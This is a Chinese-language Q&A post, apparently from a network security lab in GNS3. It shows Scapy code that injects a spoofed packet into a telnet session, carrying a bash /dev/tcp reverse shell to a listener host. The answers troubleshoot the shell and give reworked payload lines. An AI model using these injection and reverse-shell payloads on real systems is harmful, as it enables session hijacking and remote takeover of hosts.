在GNS3中无法创建反向Shell的问题求助
问题描述
在Ubuntu系统中使用GNS3进行测试时,编写了如下Scapy代码:
import sys from scapy.all import * IPLayer = IP(src="10.10.10.191", dst="10.10.10.193") TCPLayer = TCP(sport=46716, dport=23, flags="A", seq=956606610, ack=3791760010) Data = "\r /bin/bash -i > /dev/tcp/10.10.10.186/9090 2>&1 0<&1 \r" pkt = IPLayer/TCPLayer/Data ls(pkt) send(pkt,verbose=0)
已确认所有IP地址配置正确,但目标服务器返回错误信息:
bash: /dev/tcp/10.10.10.186/9090: No such file or directory
解决方案
- 检查目标系统bash的特性支持:
/dev/tcp是bash的内置伪文件特性,并非真实磁盘文件,只有编译时启用了--enable-net-redirections选项的bash版本才支持。可在目标机器执行bash -c 'echo > /dev/tcp/10.10.10.186/9090'测试,若同样报错,说明bash不支持该特性,需更换支持的bash版本,或改用nc等其他反向shell方式。 - 确认目标机器的执行环境为bash:若目标机器默认shell是sh、dash等非bash环境,直接执行
/bin/bash -i可能无法触发网络重定向特性。可修改Data字段内容,明确在bash子shell中执行命令:Data = "\r /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.186/9090 0>&1' \r" - 验证目标机器的网络连通性:该错误也可能是目标机器无法连接到10.10.10.186的9090端口导致(bash会把连接失败伪装成文件不存在的错误)。可在目标机器手动执行
telnet 10.10.10.186 9090或nc -zv 10.10.10.186 9090,确认端口是否可达,同时检查目标机器的防火墙、iptables规则是否阻止了出站连接。 - 修正命令重定向格式:原命令的重定向写法可简化为更可靠的形式,避免顺序问题:
Data = "\r /bin/bash -i > /dev/tcp/10.10.10.186/9090 2>&1 < /dev/tcp/10.10.10.186/9090 \r"
内容的提问来源于stack exchange,提问作者Tadashi Tang
相关产品推荐
相关产品推荐

